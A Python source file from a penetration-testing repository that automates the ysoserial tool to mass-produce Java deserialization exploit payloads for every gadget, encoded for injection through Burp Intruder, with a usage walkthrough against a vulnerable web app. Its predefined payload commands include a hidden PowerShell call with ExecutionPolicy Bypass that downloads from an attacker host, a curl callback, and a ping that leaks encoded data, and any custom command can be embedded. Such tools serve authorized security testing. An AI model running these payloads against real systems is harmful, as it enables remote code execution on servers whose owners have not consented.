mgeeky-Penetration-Testing-.../web/ysoserial-generator.py

494 lines
17 KiB
Python
Executable File

#!/usr/bin/python
#
# This tool helps fuzzing applications that use Java serialization under the hood, by
# automating `ysoserial` proof-of-concept tool for generating payloads that
# exploit unsafe Java object deserialization.
#
# This tool generates every possible payload for every implemented gadget, thus
# resulting in number of payload files (or one file with number of lines), being
# URL/Base64 encoded along the way or not - which can be later used for manual
# penetration testing assignments like pasting that file to BurpSuite intruder, or
# enumerating every payload from within bash/python script.
#
# Example use case:
# 1. Download, compile and launch example vulnerable application like:
# https://github.com/hvqzao/java-deserialize-webapp
#
# 2. Start local HTTP server, for instance:
# -----------------------------------------
# $ python -m SimpleHTTPServer
# Serving HTTP on 0.0.0.0 port 8000 ...
# -----------------------------------------
#
# 3. Generate payloads to test against that application:
# -----------------------------------------
# $ ./mass-ysoserial.py -u -b -y ~/tools/ysoserial/ysoserial.jar -s --lhost 192.168.56.1:8000
# :: ysoserial payloads generation helper
# Helps generate many variations of payloads to try against vulnerable application.
# Mariusz B. / mgeeky '18, <mb@binary-offensive.com>
# v0.1
#
# [+] Command within payload:
# "powershell.exe -WindowStyle hidden -ExecutionPolicy Bypass -nologo -noprofile -c ((New-Object Net.WebClient).DownloadString('http://192.168.56.1:8000/...'))"
# [+] Command within payload:
# "curl -k -s http://192.168.56.1:8000/..."
# -----------------------------------------
#
# 4. Capture example POST request to that application from within Burp.
#
# 5. Now paste resulting file 'ysoserial-payloads.txt' into BurpSuite intruder's Simple list and hit "Start attack"
#
# 6. Watch your SimpleHTTPServer logs:
# -----------------------------------------
# $ python -m SimpleHTTPServer
# Serving HTTP on 0.0.0.0 port 8000 ...
# 192.168.56.128 - - [02/May/2018 01:20:58] code 404, message File not found
# 192.168.56.128 - - [02/May/2018 01:20:58] "GET /CommonsCollections2-linux HTTP/1.1" 404 -
# 192.168.56.128 - - [02/May/2018 01:20:58] code 404, message File not found
# 192.168.56.128 - - [02/May/2018 01:20:58] "GET /CommonsCollections4-linux HTTP/1.1" 404 -
# 192.168.56.128 - - [02/May/2018 01:20:58] code 404, message File not found
# 192.168.56.128 - - [02/May/2018 01:20:58] "GET /Jdk7u21-linux HTTP/1.1" 404 -
# -----------------------------------------
#
# 7. You've just found that gadgets: CommonsCollections2, CommonsCollections4 and Jdk7u21 have launched successfully against vulnerable web application.
#
#
# Author:
# Mariusz B., '18 / <mb@binary-offensive.com>
#
import os
import re
import sys
import base64
import urllib
import subprocess
import argparse
from sys import platform
VERSION = '0.2'
config = {
'verbose' : True,
'debug' : True,
'ysoserial-path' : '',
'java-path' : '',
'command' : '',
# Do not modify below ones
'gadgets': [],
'output': '',
'lhost': '',
'base64': False,
'urlencode': False,
'onefile': False,
'predefined': False,
'predefined-cmd': '',
'platform' : '',
'separate-by-semicolons': True,
}
predefined = {
'ping': {
'windows' : 'ping -n 1 {host}',
'linux' : 'ping -c 1 -p {data} {host}',
},
'http': {
'windows' : 'powershell.exe -WindowStyle hidden -ExecutionPolicy Bypass -nologo -noprofile -c ((New-Object Net.WebClient).DownloadString(\'{host}/{data}\'))',
'linux' : 'curl -k -s {host}/{data}',
}
}
#
# These gadgets await for non-standard arguments like:
# host:port, write;destDir;ascii-data, localpath:remotepath and so on.
#
skipGadgets = (
'Wicket1', 'FileUpload1', 'JRMPClient', 'JRMPListener', 'Jython1', 'Myfaces2',
'URLDNS', 'C3P0'
)
warnCmdOnce = False
generated = 0
firstLaunch = True
commandsSoFar = set()
class Logger:
@staticmethod
def _out(x):
if config['debug'] or config['verbose']:
sys.stdout.write(x + '\n')
@staticmethod
def dbg(x):
if config['debug']:
sys.stdout.write('[dbg] ' + x + '\n')
@staticmethod
def out(x):
Logger._out('[.] ' + x)
@staticmethod
def info(x):
Logger._out('[?] ' + x)
@staticmethod
def err(x):
sys.stdout.write('[!] ' + x + '\n')
@staticmethod
def fail(x):
Logger._out('[-] ' + x)
@staticmethod
def ok(x):
Logger._out('[+] ' + x)
def getFileName(name, gadget):
global firstLaunch
ext = 'bin'
if config['base64'] or config['urlencode']:
ext = 'txt'
if config['onefile']:
if config['output'] and config['output'] != '-':
return config['output']
elif config['output'] == '-':
return ''
elif not config['output']:
p = 'ysoserial-payloads.{ext}'.format(ext = ext)
if os.path.isfile(p) and firstLaunch:
Logger.err('Output file ("{}") already exists: unable to continue.'.format(p))
sys.exit(1)
firstLaunch = False
return p
else:
path = ''
out = 'ysoserial-{gadget}-{name}-payload.{ext}'.format(
name=name, gadget=gadget, ext=ext
)
if config['output'] != '-':
path = config['output']
return os.path.join(path, out)
else:
return out
def processCmd(cmd, name, gadget):
global warnCmdOnce
global commandsSoFar
cmd2 = cmd
Logger.dbg('Command before processing:\n{}\n'.format(cmd))
data = '{gadget}-{name}'.format(
gadget = gadget, name = name
)
lhost = config['lhost']
if not warnCmdOnce:
notWorking = ['|', '&', '<', '>', ';']
for n in notWorking:
if n in cmd:
warnCmdOnce = True
Logger.fail('WARNING: Your command contains character that will prevent your payload from running correctly: "{}". Remember shortcomings of Java\'s "Runtime.getRuntime().exec(...)" function: you cannot use apostrophes, quotes, pipes, ampersands and so on. One can refer to following article for more informations: https://bit.ly/2JLvdCv '.format(n))
break
if 'data' in cmd:
if config['predefined'] and config['predefined-cmd'] == 'ping':
data = ''.join(['{:02x}'.format(ord(x)) for x in data[:16]])
if config['predefined'] and config['predefined-cmd'] == 'http':
if not lhost.startswith('http'):
lhost = 'http://' + lhost
cmd2 = cmd2.format(data = data, host = lhost)
elif 'host' in cmd:
cmd2 = cmd2.format(host = lhost)
Logger.dbg('Command after processing:\n{}\n'.format(cmd2))
cmd3 = cmd2.replace(data, '...')
if cmd3 not in commandsSoFar:
sys.stderr.write('[+] Command within payload:\n\t"{}"\n'.format(cmd3))
commandsSoFar.add(cmd3)
return cmd2
def generate(name, cmd):
global generated
for gadget in config['gadgets']:
if gadget in skipGadgets:
Logger.dbg('Skipping gadget {}...'.format(gadget))
continue
Logger.info('Generating ' + gadget + ' for "' + name + '"...')
filename = getFileName(name, gadget)
redir = ''
if not config['debug']:
redir = '2>NULL_STREAM'
cmd2 = processCmd(cmd, name, gadget)
out = shell('"{java}" -jar "{ysoserial}" {gadget} "{command}" {redir}'.format(
java = config['java-path'],
ysoserial = config['ysoserial-path'],
gadget = gadget,
command = cmd2,
redir = redir
), True)
if config['base64']:
out = base64.b64encode(out)
if out != "":
if config['urlencode']:
out = urllib.quote_plus(out)
if out != "":
if filename == '':
print(out + '\n')
else:
mode = 'w'
if config['onefile']:
Logger.dbg('Appending payload to the file: "{}"'.format(filename))
mode = 'a'
else:
Logger.ok('Writing payload to the file: "{}"'.format(filename))
open(filename, mode).write(out + '\n')
generated += 1
else:
Logger.err('Failed generating payload {}-{} for cmd: "{}"'.format(
gadget, name, cmd2
))
def processShellCmd(cmd):
replaces = {
'NULL_STREAM' : {
'windows': 'nul',
'linux': '/dev/null'
},
'WHICH_COMMAND' : {
'windows': 'where',
'linux': 'which'
},
}
# Strip "2>nul" part as we switched from commands.getstatusoutput to subprocess.Popen
cmd = cmd.replace(" 2>NULL_STREAM", "")
for k, v in replaces.items():
if k in cmd:
cmd = cmd.replace(k, v[config['platform']])
return cmd
def shell(cmd, noOut = False):
cmd = processShellCmd(cmd)
out, err = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE).communicate()
if not out and err:
out = err
if not noOut:
Logger.dbg('shell(\'{}\') returned:\n"{}"\n'.format(cmd, out))
else:
Logger.dbg('shell(\'{}\')\n'.format(cmd))
return out
def tryToFindYsoserial():
global config
if config['ysoserial-path']:
return True
out = shell('WHICH_COMMAND ysoserial.jar 2>NULL_STREAM')
if out and os.path.isfile(out):
config['ysoserial-path'] = out
elif os.path.isfile('ysoserial.jar'):
config['ysoserial-path'] = 'ysoserial.jar'
else:
Logger.err('Could not find "ysoserial.jar" in neither PATH nor current directory.')
Logger.err('Please specify where to find "ysoserial.jar" using "-y" option.')
sys.exit(1)
return True
def tryToFindJava():
global config
if config['java-path']:
return True
out = shell('WHICH_COMMAND java 2>NULL_STREAM')
out1 = ''
if out:
out1 = out.split('\n')[0].strip()
if out1 and os.path.isfile(out1):
config['java-path'] = out1
else:
Logger.err('Could not find "java" interpreter in neither PATH nor current directory.')
Logger.err('Please specify where to find "java" using "-j" option.')
sys.exit(1)
return True
def collectGadgets():
global config
out = shell('"{}" -jar "{}" --help'.format(
config['java-path'], config['ysoserial-path']))
rex = re.compile(r'^\s+(\w+)\s+@\w+.+', re.I|re.M)
gadgets = rex.findall(out)
Logger.info('Available gadgets ({}): {}\n'.format(len(gadgets), ", ".join(gadgets)))
config['gadgets'] = gadgets
if not gadgets:
Logger.err('Could not interpret ysoserial.jar output and thus could not collect available gadgets!')
sys.exit(1)
def parseOptions(argv):
global config
print('''
:: ysoserial payloads generation helper
Helps generate many variations of payloads to try against vulnerable application.
Mariusz B. / mgeeky '18, <mb@binary-offensive.com>
v{}
'''.format(VERSION))
parser = argparse.ArgumentParser(prog = argv[0], usage='%(prog)s [options] <attacker-host>')
parser.add_argument('-t', '--lhost', default='127.0.0.1', help = 'Specifies attacker\'s host IP or FQDN to connect back to within predefined payload\'s command (like ping, http). If you are about to use predefined "http" payload - remember to specify whether it is http or https. Default: http://127.0.0.1')
parser.add_argument('-C', '--predefined', metavar='CMD', default='', choices=predefined.keys(), help='(Default, http) Use one of the predefined OS-agnostic commands: {}'.format(', '.join(predefined.keys())))
parser.add_argument('-c', '--command', metavar='CMD', default='', help='Specifies custom command to include within serialized payloads. Remember shortcomings of Java\'s Runtime.getRuntime().exec(...) function: you cannot use apostrophes, quotes, pipes, ampersands and so on. You can use however semicolons (;) - having specified two commands (like: ifconfig ; uname -a) will result in generating TWO payloads. For other nuances, one can refer to following article for more informations: https://bit.ly/2JLvdCv')
parser.add_argument('-b', '--base64', action='store_true', help='Base64 encode every generated payload (default: False).')
parser.add_argument('-u', '--urlencode', action='store_true', help='URL encode every generated payload (default: False).')
parser.add_argument('-S', '--semicolons', action='store_false', default=True, help='If used "--command" option and used semicolons in it, specifies to not to separate that command to several ones by semicolons (default: True).')
parser.add_argument('-o', '--output', metavar='FILE|DIR', help='Specifies output filename, if --onefile was used or directory name otherwise. One can use "-" to output to the stdout (assuming --onefile was used).')
parser.add_argument('-s', '--onefile', action='store_true', help='Output every generated payload to the same file, starting from newline. Makes sense to use with base64 encoding option set (default: False).')
parser.add_argument('-y', '--ysoserial', metavar='PATH', default='', help='Specifies path to ysoserial.jar file to use. If left empty, will try the one from current directory (or PATH environment variable)')
parser.add_argument('-j', '--java', metavar='PATH', default='', help='Specifies path to java program to use. If left empty, will try the one from current directory (or PATH environment variable)')
parser.add_argument('-v', '--verbose', action='store_true', help='Display verbose output.')
parser.add_argument('-d', '--debug', action='store_true', help='Display debug output.')
args = parser.parse_args()
config['verbose'] = args.verbose
config['debug'] = args.debug
config['onefile'] = args.onefile
config['base64'] = args.base64
config['urlencode'] = args.urlencode
config['lhost'] = args.lhost
config['separate-by-semicolons'] = args.semicolons
if platform == 'linux' or platform == 'linux2':
config['platform'] = 'linux'
elif platform == 'win32' or platform == 'win64':
config['platform'] = 'windows'
Logger.dbg('Found platform: {}'.format(platform))
if args.command and args.predefined:
Logger.err('Options "--predefined" and "--command" are mutually exclusive! Please specify only one of them.')
sys.exit(1)
if not args.command:
config['predefined'] = True
if not args.predefined:
config['predefined-cmd'] = 'http'
else:
config['predefined-cmd'] = args.predefined
if config['lhost'] == '127.0.0.1':
Logger.fail('WARNING: You did not specify "--lhost" parameter to connect back to your attacker-host. Currently used value is 127.0.0.1\n')
else:
config['command'] = args.command
if args.output:
config['output'] = args.output
if os.path.isfile(args.output):
Logger.err('Output file already exists: unable to continue.')
sys.exit(1)
if args.ysoserial:
config['ysoserial-path'] = args.ysoserial
else:
tryToFindYsoserial()
if args.java:
config['java-path'] = args.java
else:
tryToFindJava()
ver = shell('"{}" -version'.format(config['java-path']))
m = re.search(r'java version "([^"]+)"', ver)
if m:
ver = "java version " + m.group(1)
else:
if '\r' in ver:
ver = ver.strip().split('\r\n')[0].strip()
else:
ver = ver.strip().split('\n')[0].strip()
Logger.info("Using {}: '{}'".format(
ver,
config['java-path']
))
return args
def main(argv):
global config
opts = parseOptions(argv)
if not opts:
Logger.err('Options parsing failed.')
return False
collectGadgets()
if config['command']:
if ';' in config['command'] and config['separate-by-semicolons']:
Logger.info('Separating input command by semicolons...')
num = 0
for cmd in config['command'].split(';'):
num += 1
generate('custom-cmd{}'.format(num), cmd.strip())
else:
generate('custom', config['command'])
else:
generate('windows', predefined[config['predefined-cmd']]['windows'])
generate('linux', predefined[config['predefined-cmd']]['linux'])
Logger.info('Generated: {} payloads.'.format(generated))
if __name__ == '__main__':
main(sys.argv)